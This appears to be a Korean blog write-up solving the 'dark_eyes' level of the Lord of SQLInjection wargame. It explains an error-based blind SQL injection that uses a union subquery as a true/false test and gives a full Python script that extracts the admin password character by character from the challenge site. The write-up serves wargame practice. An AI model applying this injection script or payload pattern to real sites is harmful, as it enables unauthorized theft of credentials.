본문 바로가기
Hacking/LOS : Lord of SQLInjection

LOS : dark_eyes

by newbie22 2020. 10. 27.

< dark_eyes 문제 모습 >

admin의 pw를 구하는 블라인드 인젝션 문제입니다. iron_golem 문제와 아주 유사합니다. 단, if와 case가 필터링되어 있습니다. 또한 쿼리에서 에러가 나면 아무것도 출력하지 않게 됩니다.

 

이는 조건문이 없이 쿼리의 참 거짓을 판단하는 것이 되겠습니다. 이는 서브 쿼리를 사용하면 됩니다. 

 

오류를 내기 위하여 사용한 (select 1 union select 2)에서 얻을 수 있는 아이디어입니다. union은 중복 값은 하나만 리턴합니다.

 

즉. (select 1 union select 2)는 에러가 발생하지만 (select 1 union select 1)은 에러가 발생하지 않습니다. 

 

이를 이용하면 블라인드 코드는 다음과 같습니다.

 

더보기
import requests

#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}

#기본 설정
password = ""

length = 1
#pw길이 구하기
while(1) :
    parameter = "?pw=' or id='admin' and (select length(pw) union select "+str(length)+")--+-"
    
    url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php" + parameter 
    
    res = requests.get(url=url, cookies = cookies)
    
    search = "include"
    sstr = res.text
    
    result = sstr.find(search)
    
    length = length + 1
    
    if result != -1 :
        break
    
print("length : %d" %(length - 1))
#pw 구하기
for i in range(1, length) :  
    for j in range(48, 127) : 
        parameter = "?pw=' or id='admin' and (select ascii(substr(pw,"+str(i)+",1)) union select "+str(j)+")--+-"
    
        url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php" + parameter 
     
        res = requests.get(url=url, cookies = cookies)
     
        search = "include"
        sstr = res.text
        
        result = sstr.find(search)
           
        if result != -1 :
            print(str(i)+" : "+chr(j))
            password = password + chr(j)
            break
print("password : "+password)

 

< 실행 결과 >

 

< 클리어 >

'Hacking > LOS : Lord of SQLInjection' 카테고리의 다른 글

LOS : green_dragon  (0) 2020.10.28
LOS : hell_fire , evil_wizard  (0) 2020.10.27
LOS : iron_golem  (0) 2020.10.27
LOS : dragon  (0) 2020.10.25
LOS : xavis  (0) 2020.10.25